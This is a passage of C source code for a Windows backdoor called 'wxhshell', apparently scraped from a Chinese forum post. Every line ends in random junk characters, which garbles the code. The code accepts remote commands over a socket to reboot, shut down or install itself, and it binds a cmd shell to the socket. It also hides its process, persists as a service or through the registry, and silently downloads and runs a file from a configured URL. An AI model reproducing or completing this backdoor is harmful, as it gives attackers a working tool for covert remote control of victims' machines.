  // 帮助 us>$f20T  
  case '?': { gaVQ3NqF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cUD}SOW  
    break; ";*Iwd*V  
  } 't#E-+o  
  // 安装 CAtdx!  
  case 'i': { TKrh3   
    if(Install()) D)GD9MJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJfj1 f  
    else YdF\*tZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n+H);Dg<8  
    break; DcX,o*ec!  
    } B`/p[U5  
  // 卸载 ,#hx%$f}d  
  case 'r': { BiI`oCX  
    if(Uninstall()) {N`<TH PP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c5AEn -Q  
    else 3-U@==:T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ST25RJC  
    break; yGX"1Fb?;x  
    } X.FFBKjf[e  
  // 显示 wxhshell 所在路径 uBA84r%{QQ  
  case 'p': { f+>g_Q  
    char svExeFile[MAX_PATH]; lAA s/  
    strcpy(svExeFile,"\n\r"); qIg^R@  
      strcat(svExeFile,ExeFile); |iGfWJ^+  
        send(wsh,svExeFile,strlen(svExeFile),0); b5Vn_;V*  
    break; HN~  
    } &'A8R;b}-?  
  // 重启 5|Hz$oU  
  case 'b': { rFU|oDF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /p7-D;  
    if(Boot(REBOOT)) `uLH3sr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WN9K*Tt~o&  
    else { C ]+J  
    closesocket(wsh); | x/Z qY  
    ExitThread(0); ?n V& :~eY  
    } THf*<|  
    break; !)+8:8H'  
    } 3%DDN\q\u  
  // 关机 " twq#Alx  
  case 'd': { \K%A}gnHe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  >q^l  
    if(Boot(SHUTDOWN)) vY'E+M"+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qgk6 \&K[  
    else { %2z] 2@  
    closesocket(wsh); q8[I` V{  
    ExitThread(0); (vb8Mk  
    } =x^b  
    break; OM 4, Sevk  
    } ~CQTPR  
  // 获取shell ^E= w3g&  
  case 's': { Gk2R:\/Y  
    CmdShell(wsh); _NkbB"+L  
    closesocket(wsh); VmTPE5d  
    ExitThread(0); Kfk/pYMDq  
    break; %\QK/`krp  
  } 6y}|IhX?z  
  // 退出 7<7 /NZ<I  
  case 'x': { 2SlOqH1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z0Df~ @  
    CloseIt(wsh); 2m0laJ3p9  
    break; CH4 ~9mmE  
    } \SQwIM   
  // 离开 (OT&:WwW  
  case 'q': { zcE[wM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w;4FN'  
    closesocket(wsh); 8oVQ:' 6  
    WSACleanup(); q;L~5q."E  
    exit(1); ^L +@oS  
    break; 5V"g,]'Nd  
        } +ht{ARX2(  
  } `D9AtN] R  
  } ^*A8 NdaB  
4;.y>~z  
  // 提示信息 iQJ[?l`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ouf91<n  
} SxWK@)tP  
  } [(PD2GO+  
L2 ^-t7  
  return; xIb^x=|h  
} zf}X%tp  
~T'Ri=  
// shell模块句柄 bL"!z"NA  
int CmdShell(SOCKET sock) Kb5 YA  
{ M^3pJ=;5  
STARTUPINFO si; mH\eJ  
ZeroMemory(&si,sizeof(si)); "JJEF2e@Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @EV*QC2l;Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e SlZAdK  
PROCESS_INFORMATION ProcessInfo; %jnSJjcq  
char cmdline[]="cmd"; csNB  \  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Uv/#"r  
  return 0; \.,qAc\[  
} '&n4W7  
5}" @$.{i  
// 自身启动模式  Q  
int StartFromService(void) 5y%-K=d  
{ h(1o!$EU2  
typedef struct v(vJ[_&%  
{ !=yNj6_f  
  DWORD ExitStatus; 4A@77#:J5  
  DWORD PebBaseAddress; >Qg 9KGk'  
  DWORD AffinityMask; W]U}, g8Z  
  DWORD BasePriority; @Wb_Sz4`  
  ULONG UniqueProcessId; 2qkZ B0[  
  ULONG InheritedFromUniqueProcessId; Fy8$'oc  
}   PROCESS_BASIC_INFORMATION; ^qP}/H[QT  
32KL~32Y  
PROCNTQSIP NtQueryInformationProcess; UoSzxL  
QFYO_$1 Y)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x{.+i'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H@%Y"iIUP  
a][QY1E@?  
  HANDLE             hProcess; oR_qAb  
  PROCESS_BASIC_INFORMATION pbi; 1QPS=;|)  
CW9vC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D8S3YdJ  
  if(NULL == hInst ) return 0; p3R: 3E6p  
svTKt%6X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [;n/|/m,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r(Vz(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m}oqs0xx  
GZ@`}7b}  
  if (!NtQueryInformationProcess) return 0; $VRVM Y [q  
WXzSf.8p|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dW`!/OaQD  
  if(!hProcess) return 0; yoc;`hO-  
Z2cumx(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sq Y$\&%  
6-oy%OnN  
  CloseHandle(hProcess); 2S^:fm}  
rrL gBeQa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b)1v:X4Bv=  
if(hProcess==NULL) return 0; F\G-. 1  
AZgeu$:7p<  
HMODULE hMod; THl={,Rw`  
char procName[255]; 1q7Y,whp  
unsigned long cbNeeded; 9z0G0QW[  
7u|X . X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vdt":  
uz%<K(:Ov  
  CloseHandle(hProcess); &ap&dM0@%a  
H/?@UJ5m  
if(strstr(procName,"services")) return 1; // 以服务启动 RL|d-A+;  
do$+ Eh  
  return 0; // 注册表启动 Uzzt+Iwm  
} <QcQ.b  
.nG14i7C  
// 主模块 6J""gyK.  
int StartWxhshell(LPSTR lpCmdLine) )5NjwLs  
{ xB<^ar  
  SOCKET wsl; q<Sb>M/\,  
BOOL val=TRUE; NZW)$c'  
  int port=0; .%x%b6EI  
  struct sockaddr_in door; :Ou[LF.O  
b:6NVHb%  
  if(wscfg.ws_autoins) Install(); V }?MP-.c  
><Awk~KR  
port=atoi(lpCmdLine); 3<%ci&B  
^_rBEyz@  
if(port<=0) port=wscfg.ws_port; Nm.G,6<J  
yPXa  
  WSADATA data; c`E0sgp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %UXmWXF4$  
C^^AN~ZD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r\."=l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *+|,rcI  
  door.sin_family = AF_INET; :H(wW   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q dPqcw4+X  
  door.sin_port = htons(port); J\%SAit@  
JOUZ"^v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mQka?_if)  
closesocket(wsl); z9qF<m  
return 1; L#6!W  
} ^1mnw@04  
N}\%r&KR=  
  if(listen(wsl,2) == INVALID_SOCKET) { o0}kRL  
closesocket(wsl); 6a!b20IZh  
return 1; V<&^zIJUR  
} ARd*c?Om  
  Wxhshell(wsl); Zb4+zps^-  
  WSACleanup(); m<liPl uv  
L4t( Y7  
return 0; ?;xL]~Q~1  
vXLGdv::  
} Mc@_[q!xY?  
6F8TiR&  
// 以NT服务方式启动 vi; yT.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _X]\#^UiO2  
{ 6'[gd  
DWORD   status = 0; ]VcuD05"C  
  DWORD   specificError = 0xfffffff; l&Cy K#B:\  
yE_T#FN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F"| ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s^R$u"pFs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3\2^LILLO  
  serviceStatus.dwWin32ExitCode     = 0; eZdFfmYW^R  
  serviceStatus.dwServiceSpecificExitCode = 0; k@ So l6  
  serviceStatus.dwCheckPoint       = 0; `P/87=h  
  serviceStatus.dwWaitHint       = 0; ^9zlxs`<d  
' TO/i:{\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nJ2910"<  
  if (hServiceStatusHandle==0) return; | <bZ*7G  
U_C[9Z'P  
status = GetLastError(); O[j$n  
  if (status!=NO_ERROR) H.]p\ UY9  
{ 044Q>Qz,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %% +@s   
    serviceStatus.dwCheckPoint       = 0; h )% e  
    serviceStatus.dwWaitHint       = 0; P/,ezVb=  
    serviceStatus.dwWin32ExitCode     = status; FG5YZrONx  
    serviceStatus.dwServiceSpecificExitCode = specificError; $[U:Dk}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uo0[ZsFD  
    return; =: =s  
  } sUk&NM%>  
= J0r,dR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qNX+!Y}y  
  serviceStatus.dwCheckPoint       = 0; qoAJcr2uN  
  serviceStatus.dwWaitHint       = 0; U]PsL3:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kIJ=]wU|v  
} _T(77KLn;  
-#`tS  
// 处理NT服务事件,比如:启动、停止 3U9leY'2N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L~!Lq4]V\g  
{ ,?c=v`e  
switch(fdwControl) Zjn![  
{ (vPE?^}b  
case SERVICE_CONTROL_STOP: z0 J:"M  
  serviceStatus.dwWin32ExitCode = 0; FvyC$vip  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P/[}$(&:  
  serviceStatus.dwCheckPoint   = 0; xA>3]<O  
  serviceStatus.dwWaitHint     = 0; ;%mdSaf  
  { }*|aVBvU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZK`x(h{p)  
  } )&[Zw{6P  
  return; wpf  
case SERVICE_CONTROL_PAUSE: `,s0^?_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mi<}q@]e  
  break; V;(Rg=5  
case SERVICE_CONTROL_CONTINUE: |]'gd)%S\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H><! C  
  break; 6Tg'9|g  
case SERVICE_CONTROL_INTERROGATE: 5 J 7XVe>  
  break; BYZllwxwTE  
}; g+QNIM>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GiKmB-HO  
} l:(?|1_  
v M $Tn  
// 标准应用程序主函数 2>vn'sXdj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B&sa|'0U  
{ -ze@~Z@  
NC%)SG \  
// 获取操作系统版本 OyATb{`'  
OsIsNt=GetOsVer(); yJ2A!id  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,ik\MSS  
s@K #M  
  // 从命令行安装 RJE<1!{  
  if(strpbrk(lpCmdLine,"iI")) Install(); [(iJj3s!  
jTN!\RH9NF  
  // 下载执行文件 Z9UNp[  0  
if(wscfg.ws_downexe) { eo<=Q|nI&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GC)xQZU)s  
  WinExec(wscfg.ws_filenam,SW_HIDE); P`y 0FKS  
} I{7Hz{  
`r+`vJ$  
if(!OsIsNt) { ]64?S0p1c!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q@- h  
HideProc(); H1e^/JD)  
StartWxhshell(lpCmdLine); k-8$ 43  
} V&>mD"~MP  
else , R $ZZ4  
  if(StartFromService()) 7Yly^  
  // 以服务方式启动 /S`d?AV  
  StartServiceCtrlDispatcher(DispatchTable); e[%g'}D:-  
else Ew2ksZ>B]&  
  // 普通方式启动 J72 YZrc  
  StartWxhshell(lpCmdLine); o%l|16DR  
}>?"bcJ  
return 0; k2DBm q;  
}
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只看该作者 1 发表于: 2006-10-10
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